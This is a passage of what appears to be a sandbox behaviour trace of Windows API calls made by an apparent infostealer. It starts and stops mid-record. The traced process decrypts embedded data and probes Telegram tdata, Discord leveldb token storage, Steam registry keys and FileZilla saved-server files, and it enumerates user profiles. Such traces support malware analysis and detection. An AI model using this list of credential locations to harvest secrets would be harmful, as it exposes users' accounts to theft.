lpOldMode=0x1afbe9a0) returned 1 [0226.334] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Resources", nBufferLength=0x105, lpBuffer=0x1afbe480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Resources", lpFilePart=0x0) returned 0x48 [0226.334] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Resources\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\cleanstore\\resources\\*"), lpFindFileData=0x1afbe6b0 | out: lpFindFileData=0x1afbe6b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4f30 [0249.990] CoUninitialize () Thread: id = 186 os_tid = 0xc0c Thread: id = 187 os_tid = 0xc10 [0148.955] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0148.956] CoGetContextToken (in: pToken=0x1b0bfa80 | out: pToken=0x1b0bfa80) returned 0x0 [0148.956] CObjectContext::QueryInterface () returned 0x0 [0148.956] CObjectContext::GetCurrentThreadType () returned 0x0 [0148.956] Release () returned 0x0 [0148.956] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0148.956] CoUninitialize () [0148.956] RoInitialize () returned 0x1 [0148.956] RoUninitialize () returned 0x0 [0162.164] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b0bdc50 | out: SystemInformation=0x12da3098, ResultLength=0x1b0bdc50*=0x1c0b0) returned 0x0 [0162.377] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources\\en-US\\9e3bd0c464004d", nBufferLength=0x105, lpBuffer=0x1b0be9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Resources\\en-US\\9e3bd0c464004d", lpFilePart=0x0) returned 0x26 [0162.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bee00) returned 1 [0162.377] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Resources\\en-US\\9e3bd0c464004d" (normalized: "c:\\boot\\resources\\en-us\\9e3bd0c464004d"), fInfoLevelId=0x0, lpFileInformation=0x1b0beee0 | out: lpFileInformation=0x1b0beee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62fd726, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x62fd726, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x62fd726, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x14f)) returned 1 [0162.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bedc0) returned 1 [0198.912] CryptAcquireContextW (in: phProv=0x1b0bc8f8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b0bc8f8*=0x1b1cf370) returned 1 [0198.914] CryptImportKey (in: hProv=0x1b1cf370, pbData=0x25d90a0*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b0bc880 | out: phKey=0x1b0bc880*=0x1b221940) returned 1 [0198.915] CryptContextAddRef (hProv=0x1b1cf370, pdwReserved=0x0, dwFlags=0x0) returned 1 [0198.915] CryptContextAddRef (hProv=0x1b1cf370, pdwReserved=0x0, dwFlags=0x0) returned 1 [0198.915] CryptDuplicateKey (in: hKey=0x1b221940, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b0bc870 | out: phKey=0x1b0bc870*=0x1b221b70) returned 1 [0198.915] CryptContextAddRef (hProv=0x1b1cf370, pdwReserved=0x0, dwFlags=0x0) returned 1 [0198.916] CryptSetKeyParam (hKey=0x1b221b70, dwParam=0x4, pbData=0x25d91c0*=0x1, dwFlags=0x0) returned 1 [0198.916] CryptSetKeyParam (hKey=0x1b221b70, dwParam=0x1, pbData=0x25d9170, dwFlags=0x0) returned 1 [0198.916] CryptDestroyKey (hKey=0x1b221940) returned 1 [0198.916] CryptReleaseContext (hProv=0x1b1cf370, dwFlags=0x0) returned 1 [0198.916] CryptReleaseContext (hProv=0x1b1cf370, dwFlags=0x0) returned 1 [0198.936] CryptDecrypt (in: hKey=0x1b221b70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x25d91e0, pdwDataLen=0x1b0bc9d0 | out: pbData=0x25d91e0, pdwDataLen=0x1b0bc9d0) returned 1 [0198.936] CryptDecrypt (in: hKey=0x1b221b70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25d9db0, pdwDataLen=0x1b0bc9c0 | out: pbData=0x25d9db0, pdwDataLen=0x1b0bc9c0) returned 0 [0203.208] CryptDestroyKey (hKey=0x1b221b70) returned 1 [0203.209] CryptReleaseContext (hProv=0x1b1cf370, dwFlags=0x0) returned 1 [0203.209] CryptReleaseContext (hProv=0x1b1cf370, dwFlags=0x0) returned 1 [0205.160] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b0bda50 | out: SystemInformation=0x12da3098, ResultLength=0x1b0bda50*=0x1cc70) returned 0x0 [0205.168] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b0bda50 | out: SystemInformation=0x12da3098, ResultLength=0x1b0bda50*=0x1cc70) returned 0x0 [0205.169] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b0bda50 | out: SystemInformation=0x12da3098, ResultLength=0x1b0bda50*=0x1cc70) returned 0x0 [0205.171] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b0bda50 | out: SystemInformation=0x12da3098, ResultLength=0x1b0bda50*=0x1cc70) returned 0x0 [0205.180] GetFullPathNameW (in: lpFileName="\\tdata", nBufferLength=0x105, lpBuffer=0x1b0bd580, lpFilePart=0x0 | out: lpBuffer="C:\\tdata", lpFilePart=0x0) returned 0x8 [0205.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bd9d0) returned 1 [0205.180] GetFileAttributesExW (in: lpFileName="C:\\tdata" (normalized: "c:\\tdata"), fInfoLevelId=0x0, lpFileInformation=0x1b0bdab0 | out: lpFileInformation=0x1b0bdab0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0205.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bd990) returned 1 [0205.461] GetFullPathNameW (in: lpFileName="\\tdata", nBufferLength=0x105, lpBuffer=0x1b0bd580, lpFilePart=0x0 | out: lpBuffer="C:\\tdata", lpFilePart=0x0) returned 0x8 [0205.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bd9d0) returned 1 [0205.461] GetFileAttributesExW (in: lpFileName="C:\\tdata" (normalized: "c:\\tdata"), fInfoLevelId=0x0, lpFileInformation=0x1b0bdab0 | out: lpFileInformation=0x1b0bdab0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0205.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bd990) returned 1 [0205.695] RegOpenKeyExW (in: hKey=0xffffffff80000000, lpSubKey="tdesktop.tg\\shell\\open\\command", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bd9f8 | out: phkResult=0x1b0bd9f8*=0x0) returned 0x2 [0205.714] GetFullPathNameW (in: lpFileName="\\tdata", nBufferLength=0x105, lpBuffer=0x1b0bd5f0, lpFilePart=0x0 | out: lpBuffer="C:\\tdata", lpFilePart=0x0) returned 0x8 [0205.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bda40) returned 1 [0205.714] GetFileAttributesExW (in: lpFileName="C:\\tdata" (normalized: "c:\\tdata"), fInfoLevelId=0x0, lpFileInformation=0x1b0bdb20 | out: lpFileInformation=0x1b0bdb20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0205.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bda00) returned 1 [0206.455] CoTaskMemAlloc (cb=0x20c) returned 0x1d0aec80 [0206.455] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x1d0aec80 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0206.456] CoTaskMemFree (pv=0x1d0aec80) [0206.456] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x1b0bd410, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpFilePart=0x0) returned 0x25 [0206.456] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\", nBufferLength=0x105, lpBuffer=0x1b0bd5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\", lpFilePart=0x0) returned 0x44 [0206.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bd9f0) returned 1 [0206.456] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\discord\\local storage\\leveldb"), fInfoLevelId=0x0, lpFileInformation=0x1b0bdad0 | out: lpFileInformation=0x1b0bdad0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0206.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bd9b0) returned 1 [0207.169] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bda68 | out: phkResult=0x1b0bda68*=0x0) returned 0x2 [0207.172] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0badd8 | out: phkResult=0x1b0badd8*=0x0) returned 0x2 [0207.174] GetFullPathNameW (in: lpFileName="Unknown\\config", nBufferLength=0x105, lpBuffer=0x1b0bd5f0, lpFilePart=0x0 | out: lpBuffer="C:\\portSession\\Unknown\\config", lpFilePart=0x0) returned 0x1d [0207.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bda40) returned 1 [0207.174] GetFileAttributesExW (in: lpFileName="C:\\portSession\\Unknown\\config" (normalized: "c:\\portsession\\unknown\\config"), fInfoLevelId=0x0, lpFileInformation=0x1b0bdb20 | out: lpFileInformation=0x1b0bdb20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0207.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bda00) returned 1 [0207.176] CoTaskMemAlloc (cb=0x20c) returned 0x1d0b0e80 [0207.176] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x1d0b0e80 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0207.176] CoTaskMemFree (pv=0x1d0b0e80) [0207.176] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x1b0bd460, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpFilePart=0x0) returned 0x25 [0207.177] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\FileZilla\\sitemanager.xml", nBufferLength=0x105, lpBuffer=0x1b0bd600, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\FileZilla\\sitemanager.xml", lpFilePart=0x0) returned 0x3f [0207.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bda50) returned 1 [0207.177] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\FileZilla\\sitemanager.xml" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\filezilla\\sitemanager.xml"), fInfoLevelId=0x0, lpFileInformation=0x1b0bdb30 | out: lpFileInformation=0x1b0bdb30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0207.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bda10) returned 1 [0207.177] CoTaskMemAlloc (cb=0x20c) returned 0x1d0b10a0 [0207.177] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x1d0b10a0 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0207.177] CoTaskMemFree (pv=0x1d0b10a0) [0207.177] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x1b0bd460, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpFilePart=0x0) returned 0x25 [0207.460] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\FileZilla\\recentservers.xml", nBufferLength=0x105, lpBuffer=0x1b0bd600, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\FileZilla\\recentservers.xml", lpFilePart=0x0) returned 0x41 [0207.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bda50) returned 1 [0207.460] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\FileZilla\\recentservers.xml" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\filezilla\\recentservers.xml"), fInfoLevelId=0x0, lpFileInformation=0x1b0bdb30 | out: lpFileInformation=0x1b0bdb30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0207.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bda10) returned 1 [0212.086] CryptAcquireContextW (in: phProv=0x1b0bca48, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b0bca48*=0x1b1d0170) returned 1 [0212.088] CryptImportKey (in: hProv=0x1b1d0170, pbData=0x26b5178*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b0bc9d0 | out: phKey=0x1b0bc9d0*=0x1d0cd0a0) returned 1 [0212.088] CryptContextAddRef (hProv=0x1b1d0170, pdwReserved=0x0, dwFlags=0x0) returned 1 [0212.089] CryptContextAddRef (hProv=0x1b1d0170, pdwReserved=0x0, dwFlags=0x0) returned 1 [0212.089] CryptDuplicateKey (in: hKey=0x1d0cd0a0, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b0bc9c0 | out: phKey=0x1b0bc9c0*=0x1d0cd3b0) returned 1 [0212.089] CryptContextAddRef (hProv=0x1b1d0170, pdwReserved=0x0, dwFlags=0x0) returned 1 [0212.089] CryptSetKeyParam (hKey=0x1d0cd3b0, dwParam=0x4, pbData=0x26b5298*=0x1, dwFlags=0x0) returned 1 [0212.089] CryptSetKeyParam (hKey=0x1d0cd3b0, dwParam=0x1, pbData=0x26b5248, dwFlags=0x0) returned 1 [0212.089] CryptDestroyKey (hKey=0x1d0cd0a0) returned 1 [0212.089] CryptReleaseContext (hProv=0x1b1d0170, dwFlags=0x0) returned 1 [0212.089] CryptReleaseContext (hProv=0x1b1d0170, dwFlags=0x0) returned 1 [0212.089] CryptDecrypt (in: hKey=0x1d0cd3b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26b57c0, pdwDataLen=0x1b0bcb20 | out: pbData=0x26b57c0, pdwDataLen=0x1b0bcb20) returned 1 [0212.090] CryptDecrypt (in: hKey=0x1d0cd3b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x26b6568, pdwDataLen=0x1b0bcb10 | out: pbData=0x26b6568, pdwDataLen=0x1b0bcb10) returned 0 [0215.458] CryptDestroyKey (hKey=0x1d0cd3b0) returned 1 [0215.458] CryptReleaseContext (hProv=0x1b1d0170, dwFlags=0x0) returned 1 [0215.458] CryptReleaseContext (hProv=0x1b1d0170, dwFlags=0x0) returned 1 [0216.390] GetUserNameW (in: lpBuffer=0x1b0bd950, pcbBuffer=0x1b0bdc78 | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x1b0bdc78) returned 1 [0216.396] CoTaskMemAlloc (cb=0x20c) returned 0x1d0af500 [0216.396] GetSystemDirectoryW (in: lpBuffer=0x1d0af500, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0216.396] CoTaskMemFree (pv=0x1d0af500) [0216.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bdb70) returned 1 [0216.750] GetFullPathNameW (in: lpFileName="C:\\Users\\", nBufferLength=0x105, lpBuffer=0x1b0bd650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\", lpFilePart=0x0) returned 0x9 [0216.751] FindFirstFileW (in: lpFileName="C:\\Users\\*" (normalized: "c:\\users\\*"), lpFindFileData=0x1b0bd880 | out: lpFindFileData=0x1b0bd880*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3ce179de, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3ce179de, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0216.753] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0bd840 | out: lpFindFileData=0x1b0bd840*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3ce179de, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3ce179de, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.753] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0bd840 | out: lpFindFileData=0x1b0bd840*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x4f6643a1, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x4f6643a1, ftLastAccessTime.dwHighDateTime=0x1d112ea, ftLastWriteTime.dwLowDateTime=0x4f6643a1, ftLastWriteTime.dwHighDateTime=0x1d112ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0216.753] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0bd840 | out: lpFindFileData=0x1b0bd840*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0216.754] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0bd840 | out: lpFindFileData=0x1b0bd840*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x4f6643a1, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x4f6643a1, ftLastAccessTime.dwHighDateTime=0x1d112ea, ftLastWriteTime.dwLowDateTime=0x4f6643a1, ftLastWriteTime.dwHighDateTime=0x1d112ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0216.754] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0bd840 | out: lpFindFileData=0x1b0bd840*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3757c8c, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973af366, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973af366, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0216.754] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0bd840 | out: lpFindFileData=0x1b0bd840*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0216.754] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0bd840 | out: lpFindFileData=0x1b0bd840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ce179de, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x84ac775d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84ac775d, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RDhJ0CNFevzX", cAlternateFileName="RDHJ0C~1")) returned 1 [0216.755] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0bd840 | out: lpFindFileData=0x1b0bd840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ce179de, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x84ac775d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84ac775d, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RDhJ0CNFevzX", cAlternateFileName="RDHJ0C~1")) returned 0 [0216.755] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0216.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bdaa0) returned 1 [0216.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bda60) returned 1 [0216.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bdb70) returned 1 [0216.757] GetFullPathNameW (in: lpFileName="C:\\Users\\", nBufferLength=0x105, lpBuffer=0x1b0bd650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\", lpFilePart=0x0) returned 0x9 [0216.757] FindFirstFileW (in: lpFileName="C:\\Users\\*" (normalized: "c:\\users\\*"), lpFindFileData=0x1b0bd880 | out: lpFindFileData=0x1b0bd880*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3ce179de, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3ce179de, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0216.758] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd840 | out: lpFindFileData=0x1b0bd840*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3ce179de, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3ce179de, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.758] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd840 | out: lpFindFileData=0x1b0bd840*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x4f6643a1, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x4f6643a1, ftLastAccessTime.dwHighDateTime=0x1d112ea, ftLastWriteTime.dwLowDateTime=0x4f6643a1, ftLastWriteTime.dwHighDateTime=0x1d112ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0216.758] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd840 | out: lpFindFileData=0x1b0bd840*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0216.758] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd840 | out: lpFindFileData=0x1b0bd840*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x4f6643a1, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x4f6643a1, ftLastAccessTime.dwHighDateTime=0x1d112ea, ftLastWriteTime.dwLowDateTime=0x4f6643a1, ftLastWriteTime.dwHighDateTime=0x1d112ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0216.758] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bd840 | out: lpFindFileData=0x1b0bd840*(dwFileAttributes=0x26, 